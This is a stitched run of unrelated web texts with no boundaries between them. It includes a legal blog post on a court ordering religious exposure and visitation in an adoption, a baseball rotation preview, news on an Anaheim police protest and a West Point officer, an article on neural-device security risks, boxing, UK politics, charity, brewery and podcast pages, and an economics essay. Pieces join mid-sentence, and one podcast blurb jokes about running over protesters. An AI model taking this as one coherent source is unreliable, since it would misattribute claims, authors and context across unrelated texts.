Here, the judge concluded that, in the particular set of circumstances presented, the “preservation of both religions/cultures” to which Odetta had been exposed was fundamental to her development and in her best interests…. At the time of the mother’s death, Odetta’s parents had not chosen one religion or culture for her but, instead, chose to expose her to both religions and cultures. The paternal uncle is the sole family member available and able to continue to expose Odetta to a culture and religion that was an integral part of her life until the mother’s untimely death. We agree that, where supported by a record of purposeful exposure to both parents’ religions and cultures, and in the absence of evidence of harm to the child, continuing that exposure may be in a child’s best interests…. [O]ur “law sees a value in … contact with the parents’ separate religious preferences…. And it is suggested, sometimes, that a diversity of religious experience is itself a sound stimulant for a child.” … The judge also ordered visitation with the paternal uncle “in order to preserve the child’s relationship with her paternal aunt and uncle” in light of the “inherent if latent animosity between the maternal family and the paternal family.” Given the unusual and tragic nature of this case, the judge’s order makes sense. The paternal uncle has been a part of Odetta’s life since birth, and has attended many milestone events, including her first three birthdays. Prior to the mother’s death, the paternal uncle would take Odetta once or twice a month, usually to the mall to buy her clothes and toys. At times, Odetta also spent the night at the paternal uncle’s home, and the paternal uncle would watch Odetta while the mother was at work. After the department became involved with the family, the paternal uncle continued to visit with Odetta. At first Odetta was reluctant, but she quickly grew comfortable with monthly visits that began as supervised, and transitioned to unsupervised, all without incident. Moreover, in spite of any understandable discord between the maternal and paternal families, the maternal aunt and uncle testified that, if allowed to adopt Odetta, they would be open to permitting the paternal uncle to visit. Indeed, the maternal uncle conceded that “it [is] probably in [Odetta’s] best interest” to maintain a relationship with the paternal uncle. In the ordinary case, the adoptive parents must be relied upon to ensure that the child is exposed to her ethnic and religious heritage, and to make certain, where appropriate and permitted, that there is continued contact with the child’s biological extended family. While all parents, including adoptive ones, are presumed to act in the best interests of their children, the judge found that a court order was necessary in this case to insure that Odetta’s best interests are met. The order is narrowly tailored and not intended to interfere with the adoptive parents’ ability to raise Odetta. We do not deem such an order to be an abuse of the judge’s broad discretion.
I have to say I’m pretty skeptical about the argument that “‘preservation of both religions/cultures’ to which Odetta had been exposed was fundamental to her development and in her best interests.” Odetta attended mosque until age three; it seems unlikely that she’d be distraught if she couldn’t do it any more. Perhaps, even if the decision to allow the paternal uncle visitation was wrong at the outset, at this point she’s been going to mosque more, and cutting that off would disturb her; but the court doesn’t say so, which makes me doubt that there is any evidence of that. Nor do I think that it’s somehow inherently in a child’s best interests to continue to be partly reared in the religions and cultures of both her parents, or to continue being exposed to those religions and cultures that she once experienced in her households.
And while some courts speculate that there is value in “diversity of religious experience” and others think there is value in having the child be exposed to only one religion, either value strikes me both as highly speculative and quite modest. (I speak here of the value from the perspective of the secular legal system; I realize that those who believe in a religion might view exposure to the religion as being of incalculably large value — might view exposure to other religions as being potentially incalculably harmful — but I don’t think the courts can take those competing theological claims into account.) Moreover, it seems to me that there is value in leaving the new adoptive parents with the sort of flexibility that most parents have, including the flexibility to choose who will visit with their child, without judicial supervision or the need to call in a judge if there is a dispute.
Now continued exposure to people may be a different story. If Odetta has come to love her uncle, who helped care for her, separating her from him might indeed be against her best interests. And it’s possible that, more broadly, a child’s maintaining a relationship to family members who cared for her (even if the relationship has faded from the child’s perspective) might be helpful; among other things, if the child wants to rekindle the relationship, rekindling a relationship with a family member — even when one wants to do so — will usually be harder than rekindling a relationship with a religion.
In some adoption and religion cases, the court might be trying to honor the biological parents’ preferences. For instance, a Wisconsin statute provides, “When practicable and if requested by the birth parent, the adoptive parents shall be of the same religious faith as the birth parents of the person to be adopted”; other states, have similar rules. And this might also remove a disincentive to infant adoptions, which may help some children. (For instance, it might be good for a young single new mother to give up her child for adoption, but she might be reluctant to do it unless she can be assured that the child will be raised in what she sees as the right religion.)
But whatever one thinks of such considerations, they don’t strike me as relevant to determining the best interests of the child in this case. Nor do they strike me as independently persuasive here. In particular, the father’s preferences don’t strike me as that relevant, given his murdering the mother.
Instead, it seems to me that the court is just taking the view that, as a matter of law, children generally ought to be exposed more rather than less to each biological parent’s culture — even to the point that someone other than their biological or adoptive parents is given legal rights to visitation with the child. Yet that seems to me a decision that the adoptive parents should make, not a decision that the judge should make for them.SAN DIEGO -- Very little is certain in the Padres' rotation entering the 2018 season.
Clayton Richard is back, having inked a two-year, $6 million extension. Luis Perdomo and Dinelson Lamet will get an opportunity to win their places. But the lack of depth is glaring, and general manager A.J. Preller has plenty of work to do.
"Clayton coming back gives us some depth, but when you're really successful, you get to a situation where you have starting pitching depth at the big league level and at Double- and Triple-A," Preller said. "We're getting closer to that point. That Double-A rotation was six deep in prospects. Those guys need to take another step.... But you can never have enough starting pitching. I know it's a cliche, but it's definitely true for us."
The Padres will pursue at least two Major League-caliber starters in free agency. Here's a look at the current state of the 2018 San Diego rotation.
Locks (1): Richard
Richard posted a 4.79 ERA in 197 1/3 innings last season. He was on the wrong side of some tough luck, as the Padres' beleaguered infield defense did little to help Richard, a ground-ball machine.
It's conceivable that Richard finds himself in the bullpen by the end of his deal. But the Padres value his presence as a leader in the rotation, and they could use similar durability in 2018.
Probably in (2): Lamet, Perdomo
It's hard to envision a rotation without Lamet and Perdomo come April. The Padres are constructing their roster with one eye on the future, and Lamet and Perdomo could be integral in that regard.
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Based on performance, Lamet's spot is probably safer. He posted a 4.57 ERA, only 10 points better than Perdomo. But that mark dipped to 3.80 during the second half. Lamet's 10.9 K's per nine innings were the most in Padres history for a rookie with at least 100 innings.
Perdomo, meanwhile, is set to embark on a crucial season in his trajectory. He cracked the big leagues earlier than anticipated, in 2016, because of his Rule 5 status. Some of his struggles can be attributed to that. But entering his age-25 season, Perdomo's early arrival is no longer an excuse.
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Back from injury (3): Matt Strahm, Robbie Erlin, Colin Rea
The biggest question marks come in the form of Strahm, Erlin and Rea, none of whom pitched for San Diego last season. Rea and Erlin are coming off 2016 Tommy John surgery and Strahm, a non-waiver trade Deadline acquisition, is coming off July surgery on his left knee.
The three should be healthy come March, and will compete for roster spots. Rea and Erlin are viewed exclusively as starters, but the Padres have yet to determine a role for Strahm.
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"He gives us versatility," Preller said. "We've talked about his role, but the biggest thing right now is to make sure that he's healthy. Then we'll figure out the exact role."
Bullpen-bound? (1): Travis Wood
If Wood wants a place in the rotation, he's got an uphill climb. In '15 and '16, he pitched out of the Cubs' bullpen to a 3.50 ERA and more than a strikeout per inning.
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A lefty who can pitch multiple innings and serve as a spot starter, Wood could be a useful addition to the relief corps. But coming off his 6.80 ERA in 2017, it's unlikely he's back in the rotation.
Free agents
The Padres have indicated they'd like to bring back Jhoulys Chacin. But even if he returns
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-green grass completed the Mediterranean look of the models.
The beginnings of my platoon will be hitting the tabletop shores of Italy this coming weekend in their first round of our club’s Infantry Aces campaign. In the coming weeks I’ll be adding additional infantry weapons support with additional mortars, machine guns and more infantry. Even before these guys see their first action, I’m pretty thrilled to have put in the time to create some pretty unique models that I haven’t found modeled anywhere else at this scale. As in WWII years ago, I think the 92nd Infantry Buffalo Soldiers have been too often forgotten by mainstream history and many gamers alike. With my soldiers hitting the field again, I hope to bring a bit more glory back to these men who not only contributed to the fight against Axis fascism but also stood bravely against the tide of so much history against them.
AdvertisementsA protest over a police shooting in Anaheim, CA ended in gunshots and mayhem as police responded to bottles being thrown with teargas, beanbag bullets and the release of a police dog into the crowd, which was comprised of a good number of women and children.
The shooting in question happened at about 4:00 p.m. Saturday. Friends and family members have reportedly identified him as Manuel Diaz (a.k.a. Stomper), although the police have still not publicly released his name. Diaz was shot in front of an apartment complex and died in the hospital three hours later.
From the Associated Press:
His niece, 16-year-old Daisy Gonzalez, said her uncle likely ran away from officers when they approached him because of his past experience with law enforcement. “He (doesn’t) like cops. He never liked them because all they do is harass and arrest anyone,” Gonzalez told the newspaper after lighting a candle for her uncle. She cursed at officers who were nearby and a police helicopter that hovered overhead. As officers were investigating what happened at the scene, Dunn said an angry group of people began yelling and throwing bottles at them. He said that as officers detained several people, the crowd advanced on officers so they fired tear gas and beanbag rounds at them.
Video captured by a KCAL-TV crew showed a chaotic scene in which officers fired beanbag rounds as some people ducked to the ground while others scattered screaming. A man is seen yelling at an officer even as a weapon is pointed at him; two adults huddled to shield a boy and girl. Meanwhile, a police dog ran into several people sitting on the grass, including a woman and child in a stroller, before biting a man in the arm.
Several people were reportedly arrested and the incident is being investigated, but perhaps the most damning piece of evidence was reported by Jay Jackson of KCAL News. According to Jackson, four people who had videoed the terrifying scene told him they had been approached by police who offered to buy their videos.
Here’s the video:
Follow me on my new Facebook page or on Twitter, @wendygittlesonSen. Marco Rubio Marco Antonio RubioWhite House pleads with Senate GOP on emergency declaration Sixteen years later, let's finally heed the call of the 9/11 Commission Schumer urges GOP to reject Trump's 'destructive' national emergency MORE (R-Fla.) is demanding the Army kick out the West Point graduate whose pro-communist social media posts are under investigation.
In a letter to acting Army Secretary Ryan McCarthy, Rubio questioned how someone with the officer’s social media history received a commission and said the Army should immediately nullify the commission and pursue all available disciplinary options under the Uniform Code of Military Justice.
“While I strongly believe academic institutions must respect the exchange of ideas and allow students to voice their opinions, members of the military who harbor anti-American views and express their desire to harm our country and its leaders are unfit to serve and defend our nation—and certainly should not enjoy the privilege of attending or graduating from an institution such as West Point, a taxpayer-funded military academy,” Rubio wrote.
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At issue are photos 2nd Lt. Spenser Rapone posted online last week from his May 2016 West Point graduation. In them, he is wearing a T-shirt with Argentine revolutionary Che Guevara's face under his uniform and has “communism will win” written on the bottom of his cap.
Further social media posts from Rapone surfaced calling Defense Secretary James Mattis James Norman MattisOvernight Defense: Trump to hold one-on-one with Kim | What to watch as summit kicks off | Top general dodges on Trump emergency declaration Retired officers express 'grave concern' with Trump's defense of transgender military policy Trump backs off total Syria withdrawal MORE “evil” and “vile” and saying he will “happily dance” on the grave of Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.).
The Army said last week is it investigating and that the posts “in no way reflect the values of the U.S. Military Academy or the U.S. Army."
Rapone is currently assigned to the 10th Mountain Division, according to the Army Times. He previously enlisted as an infantryman in 2010 and served in Afghanistan with the 1st Battalion, 75th Ranger Regiment in 2011, but was “removed for standards” from the regiment later that year. He went to West Point the next year.
In his letter, Rubio said West Point should revoke Rapone’s degree and that he should have to pay back his tuition.
“It is extremely concerning that someone who so often expressed such hostile views towards the United States’ system of government was able to obtain a commission,” Rubio wrote in the letter publicly released Wednesday. “Rapone’s revolutionary ideas were harbored long before he was commissioned as an Army Second Lieutenant. Were West Point administrators or faculty aware of his views and behavior?”
Rubio added that he assumes the incident is “an extreme embarrassment” to West Point and the Army. He also asked what West Point is doing to ensure something like this does not happen again.
“The Army’s premier officer commissioning source must ensure an individual like Spenser Rapone is never given the opportunity to lead or serve beside American soldiers,” he said.Hackers who commandeer your computer are bad enough. Now scientists worry that someday, they'll try to take over your brain.
In the past year, researchers have developed technology that makes it possible to use thoughts to operate a computer, maneuver a wheelchair or even use Twitter — all without lifting a finger. But as neural devices become more complicated — and go wireless — some scientists say the risks of "brain hacking" should be taken seriously.
"Neural devices are innovating at an extremely rapid rate and hold tremendous promise for the future," said computer security expert Tadayoshi Kohno of the University of Washington. "But if we don't start paying attention to security, we're worried that we might find ourselves in five or 10 years saying we've made a big mistake."
Hackers tap into personal computers all the time — but what would happen if they focused their nefarious energy on neural devices, such as the deep-brain stimulators currently used to treat Parkinson's and depression, or electrode systems for controlling prosthetic limbs? According to Kohno and his colleagues, who published their concerns July 1 in Neurosurgical Focus, most current devices carry few security risks. But as neural engineering becomes more complex and more widespread, the potential for security breaches will mushroom.
For example, the next generation of implantable devices to control prosthetic limbs will likely include wireless controls that allow physicians to remotely adjust settings on the machine. If neural engineers don't build in security features such as encryption and access control, an attacker could hijack the device and take over the robotic limb.
"It's very hard to design complex systems that don't have bugs," Kohno said. "As these medical devices start to become more and more complicated, it gets easier and easier for people to overlook a bug that could become a very serious risk. It might border on science fiction today, but so did going to the moon 50 years ago."
Some might question why anyone would want to hack into someone else's brain, but the researchers say there's a precedent for using computers to cause neurological harm. In November 2007 and March 2008, malicious programmers vandalized epilepsy support websites by putting up flashing animations, which caused seizures in some photo-sensitive patients.
"It happened on two separate occasions," said computer science graduate student Tamara Denning, a co-author on the paper. "It's evidence that people will be malicious and try to compromise peoples' health using computers, especially if neural devices become more widespread."
In some cases, patients might even want to hack into their own neural device. Unlike devices to control prosthetic limbs, which still use wires, many deep brain stimulators already rely on wireless signals. Hacking into these devices could enable patients to "self-prescribe" elevated moods or pain relief by increasing the activity of the brain's reward centers.
Despite the risks, Kohno said, most new devices aren't created with security in mind. Neural engineers carefully consider the safety and reliability of new equipment, and neuroethicists focus on whether a new device fits ethical guidelines. But until now, few groups have considered how neural devices might be hijacked to perform unintended actions. This is the first time an academic paper has addressed the topic of "neurosecurity," a term the group coined to describe their field.
"The security and privacy issues somehow seem to slip by," Kohno said. "I would not be surprised if most people working in this space have never thought about security*."*
Kevin Otto, a bioengineer who studies brain-machine interfaces at Purdue Universty, said he was initially skeptical of the research. "When I first picked up the paper, I don't know if I agreed that it was an issue. But the paper gives a very compelling argument that this is important, and that this is the time to have neural engineers collaborate with security developers."
It's never too early to start thinking about security issues, said neural engineer Justin Williams of the University of Wisconsin, who was not involved in the research. But he stressed that the kinds of devices available today are not susceptible to attack, and that fear of future risks shouldn't impede progress in the field. "These kinds of security issues have to proceed in lockstep with the technology," Williams said.
History provides plenty of examples of why it's important to think about security before it becomes a problem, Kohno said. Perhaps the best example is the internet, which was originally conceived as a research project and didn't take security into account.
"Because the internet was not originally designed with security in mind," the researchers wrote, "it is incredibly challenging — if not impossible — to retrofit the existing internet infrastructure to meet all of today's security goals." Kohno and his colleagues hope to avoid such problems in the neural device world, by getting the community to discuss potential security problems before they become a reality.
"The first thing is to ask ourselves is, 'Could there be a security and privacy problem?'" Kohno said. "Asking 'Is there a problem?' gets you 90 percent there, and that's the most important thing."
Via Mind Hacks
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Image: University of WashingtonBy Jake Donovan
Less than 2,000 tickets remain for Gennady Golovkin’s highly anticipated July 26 middleweight tile fight with Daniel Geale, which also marks debut in the main room at Madison Square Garden.
The bout, which will air live on HBO, marks the first stateside appearance of 2014 for Golovkin (29-0, 26KOs), whose lone fight this year took place in Monte Carlo.
The unbeaten knockout artist from Kazakhstan played Madison Square Garden’s Theatre venue three times in 2013. With his popularity rising with each visit, it was decided by his team that it was time to graduate to the main room.
“Gennady will be the first fighter besides Miguel Cotto to carry an event in the big arena since 2008,” points out Tom Loeffler, Managing Director of K2 Promotions and the driving force behind Golovkin’s soaring popularity in the United States. “Wladimir Klitschko sold out the arena, and Roy Jones fought twice there (versus Felix Trinidad and Joe Calzaghe) that year. Every other event since then has been headlined by Miguel Cotto since then.
“That’s how much marketability we’ve built. Gennady fits into that elite category.”
The venue is sectioned off for 9,000 seats plus luxury suites, which would seat roughly 3,000 more.
Golovkin is coming off of a 7th round knockout of Osumana Adama this past February, his first fight this year following a breakout campaign in 2013. A planned stateside return was on the docket for April, but was canceled when Golovkin was forced to withdraw from his scheduled title defense versus Andy Lee due to the untimely passing of his father.
The last fight in New York City for Golovkin came last November, when he knocked out Curtis Stevens in eight rounds. The event - which served as HBO’s third highest-rated fight of the year - was attended by 4,618 paying patrons, just two tickets short of a sellout.
With the current ticket sale trend, Golovkin figures to at least double that amount for his showdown with Geale (30-2, 16KO), a former titlist who has won nine of his 10 last bouts. The lone loss among that stretch ended his title reign, falling just short in a disputed split decision against Darren Barker in their sizzling 12-round war last August.
“We’re excited about Gennady coming back to Madison Square Garden,” Loeffler said of his fighter’s return to New York City. “It’s fitting that his first fight in the big arena comes against his highest profile to date.”
The expectation heading into the event was to fill up the lower bowl. With nearly all of the VIP seats sold out and barely 100 tickets left at the next highest price range ($542), it’s entirely possible that more tickets will be made available to satisfy demand, for a card coming on the heels of Miguel Cotto’s upset technical knockout win over Sergio Martinez to claim the middleweight crown in June.
“We’ve taken a conservative approach to the full arena. That’s why we didn’t scale to the entire arena,” Loeffler says of the original marketing strategy. We’re pleased with ticket sales so far.”
Jake Donovan is the Managing Editor of Boxingscene.com, as well as a member of Transnational Boxing Ratings Board and the Boxing Writers Association of America. Twitter: @JakeNDaBoxGet the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The Lib Dems have held talks with pro-Remain Tories about the possibility of defection.
Party insiders said they were confident of winning over Conservatives opposed to Theresa May’s Brexit plans.
A Lib Dem source said: “There are at least two who could join us, hopefully some more.”
It comes as former Labour MP Bob Marshall-Andrews announced he was defecting to the Lib Dems.
(Image: PA)
The party also said it had 8,000 new members since Theresa May called the election on Tuesday, taking the total to 95,000.
Mr Marshall-Andrews, the MP for Medway from 1997 to 2010, described his former party as a “political basket case.”
He said: “At present there is manifestly a huge vacuum on the centre-left represented in substantial part by the 48% of the electorate who rejected Brexit and the lies on which it was based.
“To many, including me, there was a forlorn hope that a reformed and radical Labour Party would rise to the historic occasion. It has not and shows no real sign of doing so.”
Lib Dem MP Alistair Carmichael said: “ Jeremy Corbyn is never going to be Prime Minister. He can’t lead his own party, let alone our country. The more people see him, the less they want to vote for him.
(Image: PA)
“That is not just my view. It is the view of the 172 Labour MPs who just last year said they had no confidence in his leadership.
“That’s why senior Labour figures such as Bob Marshall-Andrews are defecting to the Liberal Democrats.
“ Jeremy Corbyn ’s Labour has waved the white flag on Brexit, is failing as an opposition and has given Theresa May a blank cheque to pursue a divisive Hard Brexit.”
A Labour spokesman said: “Bob Marshall-Andrews has not been a member of the Labour Party for some years.”Thank you for your interest in Give Kids a Smile. The purpose of this charitable outreach program is to provide free care to low-income children in need. Thousands of dental professionals volunteer their time to this program because they understand the pain and embarrassment many children experience due to untreated dental problems. Each year, thousands of children receive much-needed dental care.
Finding a participating clinic in your area
If your child could benefit from this program, please refer to the list of dental clinics below. The list is grouped alphabetically by county, then city. You may find it helpful to use your browser’s “find” function to search this list for the name of your town, zip code, county, languages provided or service. Please note that the following list is not a comprehensive list of all dental clinics that are participating in Give Kids a Smile.
Making an Appointment
Find a dental clinic in your area, and then call the clinic to make an appointment. Please note that services provided vary, so discuss any specific dental concerns your child may have. The dental services described are not guaranteed and may be limited by time and the severity of any particular case. Please keep in mind that professionals are volunteering their time to serve your child. Once you have made an appointment for your child, make every possible effort to keep that commitment.
If You Need Assistance or Translation Services
Please call United Way 2-1-1 (or 800-543-7709), where Information and Referral Specialists can assist you in Hmong, Somali and Spanish Monday-Friday, 8 a.m. to 5 p.m. The specialists there can place a three-way call to the dental clinic and assist you in making an appointment.Episode 98
March 29, 2016, Dick
Road Blockheads 770 Murderers 604 Acne 554 Junk In The Trunk -140
Ever wondered what the podcast would sound like without Sean? You're going to love this one then. The Delete-o Bandito waltzes into the studio late in this episode with a drink in one hand and an excuse in the other, without a care in the world like he's pepper spraying student protesters at UC Davis. Just how late? You'll have to listen to find out. But speaking of protesters...
I bring in Road Blockheads. Those morons who block the freeway for reasons of love, hate, or the love of hatred. As far as I'm concerned, if you block the freeway for any reason other than "I fucked up", you've just declared a one-man personal Purge on yourself. Waze should award Road Munchies for running these shitheads over. Remember, civil disobedience is still disobedience
Special thanks to Audible for sponsoring this episode. Check out http://audiblepodcast.com/biggest for a free 30 day trial. Maddox brings in Murderers. Charles Manson, OJ, Albert Fish, Hitler, each a more terrifying murderer than the last. But what about Planned Parenthood? Where do they fall on the scale? I'll let you hear how the rest of that conversation goes. Does Maddox murder his own problem? Or does he hit it and acquit it? Only the voting will decide.
I bring in Acne. If you voted down Living With Your Parents, and a lot of you did, something tells me you're going to vote this one up. I had acne as a teenager-and also last week...It fucking sucks and no amount of lifting in the world will get rid of it. Vote it up unless you're too busy applying 3 billion dollars of rip-off creams to your open face wounds.
Maddox presents Junk in the Trunk, and he's not talking about having a fat ass-something that everyone pretends is attractive for some reason. He's talking about having a bunch of garbage in your car. We all do it, and apparently it's a huge waste of gas and deepening America dependence on foreign oil. Just how much gas are we wasting? Is it 100 pounds? Because that's the only number I retained from the presentation.
Tune in next week for our 99th episode and ensuing debate over, "What is a murder?" That seems about right for this show.
Sources: Wikipedia - List of serial killers by the numbers NewsoftheWeird.com - List of "Waynes" involved in murder Freakonomics - 19 "Waynes" involved in crime in an 8-month period NY Post - Corriana Thompson, only murderer in the US to have killed with two genders CityLab - Who Owns the Highway. Time - Wedding Road Blockhead. AAD.org - What Is An Acne? EIA.gov - US wastes about 140 billion gallons per year
Thumbnail Sources: Death Head MothAaaand, we’re back!
Well, almost. We’re back on Friday, May 1st. And we’re launching straight into things! Ed’s already been in to brew, and he’ll be bottling Friday morning to make sure our fridges are filled. My lovely and talented colleague Blythe will be ready to kick off the first Historic Brewery Tour of the season, followed by yours truly this weekend.
What have we got in store for 2015?
Lots, as always! Here’s a sneak peek at some selected brewery events.
Year-Round
Behind Closed Doors
Our Behind Closed Doors tour meets on the porch of the Half Way House every weekday at 12:30 pm. Led by one of our friendly beer experts, it’s a chance to stretch your legs and explore other parts of the village. No, we don’t explore beer on this tour – rather, we take you into closed and/or un-interpreted buildings to chat about parts of history we might not otherwise touch on.
Historic Brewery Tour
The Historic Brewery Tour also meets on the porch of the Half Way House: you can take the tour daily at 2:00 pm. We explore the social history of drinking in nineteenth century Canada, the ingredients used in beer-making, as well as the process of brewing in a historic brewery like ours. And of course, no tour is complete without sampling the finished product.
An additional cost does apply – you can purchase your ticket at Admissions!
Beer Sampler
So, you have a taste for history, do you? Come join us in the historic brewery daily from 3:00-4:00 pm to try some samples of our historic beer. We’ll give you a 4 oz glass, which we will fill not once, not twice, but thrice – each time with a different style of beer. On weekends, we have an additional sampler from 12:30-1:30.
Same as the tour: additional charges do apply. (You don’t have to go to Admissions, though: the Beer Sampler is available for purchase right in the brewery!)
Brewery Apprenticeship
Try your hand at brewing: the old-fashioned way! Spend the day working alongside Ed, wearing traditional nineteenth century garments and learning to brew with historic methods. Join the beer tour to learn more about your creation, and then take a growler home as a souvenir. Spots are filling quickly, though – learn more here!
Seasonal
Specialty Ales
Our list of specialty offerings for 2015 can be found here. With a new brew (or two!) every month, it’s always a good time to visit the brewery!
Hop Harvest
The hop garden looks a little bare and forlorn right now, but in a few short months, our hops will have attained some impressive height. Spend the day harvesting our hops with Head Gardener Sandra Spudic, sample some special goodies and beer after working up that appetite, and come back in a few weeks to taste the Wet Hop Ale you helped us make!
The hops are usually ready for harvesting around late August/early September. You’ll want to book your spot early to avoid disappointment, so watch this space for details!
A Spirited Affair
Our perennial favourite returns! It’s always an affair – and this year, the boys come home! Start with 1860s ballroom dancing and traditional ales, and then be whisked away to celebrate the food, drink, and fashion of the post-War years. Dance the night away to boogie-woogie swing music, sample an array of fine refreshments, and join the fun!
Costumes are highly encouraged. You were certainly a dapper bunch last year!
Saturday, October 3rd, 2015 – save the date!
Tavern Tales
This one is for the members! Gold and Village Members can join me in the brewery on December 17th for an old-fashioned pub night! With tavern games, traditional Canadian folktales, rousing pub songs, beer from the historic brewery and treats from the Half Way House kitchen, it’ll be a night of fun and frolic in equal measure. There may also be revelry. I’ve yet to decide on that one.
(Psst…you can become a Member at any time. Just saying. 😉 )
And for now…
The beginning of the season is always an exciting time for us. It’s been a long, cold winter – we’re so glad to get back to sunny days and our cosy brewery. Can’t wait to see you all for another adventure-filled season. We’ve missed you, beer lovers!
See you soon!
Katie
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In this essay I attack a highly vulnerable target and do so with well-placed confidence, because the target is myself. More precisely, my target is a paper I once wrote (“The Economist and the State”) in which I proposed two main theses. The first was that economists have a deplorable habit of giving emphatic advice on public policy without bothering—even if they live long after—to see whether their predictions of the effects of the policy were correct. In the mid-nineteenth century, Nassau Senior and Robert Torrens predicted dire consequences for the textile industry if Britain’s Parliament passed the ten-hour day bill. In a characteristically terse eighty-page letter to Lord Ashley, the bill’s sponsor, Torrens stated:
I have not hesitated to address your Lordship … a free and unmitigated expression of my opinions in regard to a measure [whose] necessary tendency would [be] to effect a reduction of wages proportionate to the diminution in quantity of work performed within a given time; and ultimately to create a bitter spirit of disappointment and despair, endangering the security of life and property, and terminating, it might be possible, in the horrors of a servile war.
From Senior’s letter I quote only his conclusion, of which he said he had no doubt, that a ten-hour bill would be “utterly ruinous.” Each of these famous economists lived for seventeen years after that bill was passed, but neither of them found the time to examine its actual effects.
Near the end of the nineteenth century, again, there was substantial hostility or indifference among economists toward the passage of the Sherman Antitrust Act. Yet not one of them made a study to confirm or deny the popular prediction that a mere statute could not retard the gigantic forces making for large business enterprises. My first thesis has surely been completely valid for most of our history as a science, and remains entirely too valid today.
The second thesis is the one I now wish partially to recant. It asserted that once the practice of testing our predictions by examining the evidence became general practice, economists’ advice—that is, the advice that survived the empirical tests—would be heeded by the society. For truth, even temporary truth, is a God that the rational society must worship. And of course our society is rational, being constituted as it is of some 230,000,000 utility-maximizing individuals.
My argument rested on the proposition that a society will not long challenge established truths about the real world, because that is unwise behavior no matter what one is seeking to do. To disregard the real world is to act inefficiently. For example, suppose that economists confirm Walter J. Wessels’s proposition that a legislated minimum wage is largely vitiated by the ability of employers to reduce fringe benefits and costly working conditions (Economic Inquiry, April 1980). Then the labor unions which support such laws would surely address this means of frustrating their desired increase in the cost of employing workers who receive low wage rates. But I erred, I believe, in confusing truth with virtue. Let me go back to the beginning.
The Place for Hard Science
There are things that economists know with great confidence about the working of an economic system. The price of a commodity will rise when its supply falls, even if the state passes a law against a price rise: the rise will then simply take the form of legal or illegal costs in getting the rationed commodity—waiting in line or buying in a black market. A large and rapid rise in the supply of money will lead to a rise in prices (again, possibly concealed but not avoided by public controls). A competitive industry will refuse in the long run to supply its product at less than a cost-remunerative price, and will be unable to get much more. Such elementary and even platitudinous findings are deducible from first principles and illustrated by many thousands of documentable instances.
These were the sorts of findings which, I argued, were inescapable and therefore irresistible to an intelligent society. I was saying, as Edwin Cannan once put it, “However lucky Error may be for a time, Truth keeps the bank, and wins in the long run.”
I am still prepared to assert that such established economic principles are accepted by the society, whether they are liked or not, just as birds and stones accept gravity. When the society imposes a price ceiling that prevents a market from clearing, for example, that is not an act of defiance against the law of demand. Rather, it is a decision based upon a preference for another system of assigning goods and distributing income. The rent ceiling in effect assigns each property to the tenant already residing in it, forcing later comers to take the leavings. The ceiling redistributes income from landlords to tenants, and is a feasible policy because even neglected dwellings are fairly durable. These are known consequences. While someone may assert that the consequences were unknown when rent control was first adopted in some Dark Age of long ago, will that person have the effrontery to say that they are still unknown today? No, it will not do to say that rent control and its many brothers and cousins are adopted out of ignorance of their effects.
Indeed, if such policies were adopted in ignorance of their effects, we would be hard put to explain their form as well as their duration. If rent ceiling laws were not anticipated to have the effects they do have, many of their aspects would be mysterious. If it were not expected that landlords would seek to escape the controls—that is, if the elasticity of supply of rental housing were really thought to be insignificant—then the laws would not include controls over conversions and demolitions. If the chilling effect of rent controls on new construction had not been anticipated, the promise—however badly kept—to leave uncontrolled the rents of premises built thereafter would not have been made. If queuing had not been expected, rent control laws would have paid little attention to the rights of tenants to sublease controlled properties.
I believe that if we look at any important economic policy of the state, we shall find that it takes account of whatever established knowledge economists possess, and perhaps of some that we do not yet possess. The theory of price discrimination, for example, emphasizes the possibility of profiting from differences among buyers in the “intensity” of their demand for a product when they can be prevented from reselling to one another. This theory is fully recognized in the regulation of the structure of public utility prices. Indeed, we may turn the situation around and assert that legislation we economists usually dislike is capable of teaching us economics. I conjecture, for example, that the early applications of a minimum wage policy are to classes of workers most substitutable for the workers whose unions achieve such laws, and only gradually is the law extended to workers with lesser substitution capabilities, or to closely substitutable workers with less political influence.
On this interpretation, economists have no great difficulty in getting their solid new findings adopted. That part of the thesis I am recanting need not be withdrawn or qualified.
The Presence of Other Values
And now I come to the error of my ways, and indeed of economists’ ways generally. We expect the society eventually to believe our case for free trade and our case against minimum wages and our case for free energy prices and our case against rent controls. Every one of these recommendations is based on a tolerably accurate analysis of the effects of the policies on aggregate social income. Yet the community often pursues very different economic policies. How can I still say that society accepts all the truly reliable findings of economics?
If “the society” (that is, the government) wishes to give more income to a class—say, tenants or farmers or steel producers or teamsters—than the free market will afford, it seeks to contrive a policy that will accommodate that goal. There are numerous other goals of the state, such as the moral improvement of the society’s members, and they are implemented with instruments such as tax exemption for certain activities and legal prohibition for others. These supplementary goals are unimportant in our society compared with income redistribution, however, and I put them aside here.
Goals of income redistribution, it should be pointed out, are not simply derived from some widely accepted ethic such as the moral value of redistributing income more equally, although there may be some of that in fact and certainly a great deal in rhetoric. The beneficiaries of income redistributions in a modern state include an unbelievably varied assortment of groups: oil millionaires, large banks, the elderly, families without male heads, airline pilots, Harvard professors, government employees, city land owners, and beekeepers. The losers include automobile drivers, small bank depositors, young workers, owners of television sets, landlords, non-minority students and employers, Grumman stockholders, and owners of some California coastal lands. Whether any specific person gains or loses on balance by the sum total of all the redistributive measures that affect him is a question whose accurate answer would require perhaps several billion dollars of economic research. (In a time of less overwhelming concern with deficits I would of course propose such a research program.) Clearly on average we lose since there is no redistributive policy that simply transfers income: each imposes deadweight losses—costs without any corresponding benefits—because of the need to collect and disburse money and even more because of the efforts of buyers and sellers of goods to get around the policy.
Quite evidently this immense smorgasbord of redistributive policies bears hardly any relationship to simple compassion for the poor or envy of the rich, since there are dozens upon dozens of policies that injure the poor and just as many that help the well-to-do. The political system responds to groups who can organize and raise funds to influence the politicians by votes and campaign contributions. We need not go into the precise factors that determine whether any particular group will have much, little, or no political clout, which is a good thing for me since we still know very little of the answer. The facts that there are literally hundreds of political groups at various levels of government, that they vary greatly in political strength, and that this strength is not at all closely related to one’s place on the income ladder—these facts are enough to show that political life displays a set of preferences for income distribution that fits no simple ethical or political theory.
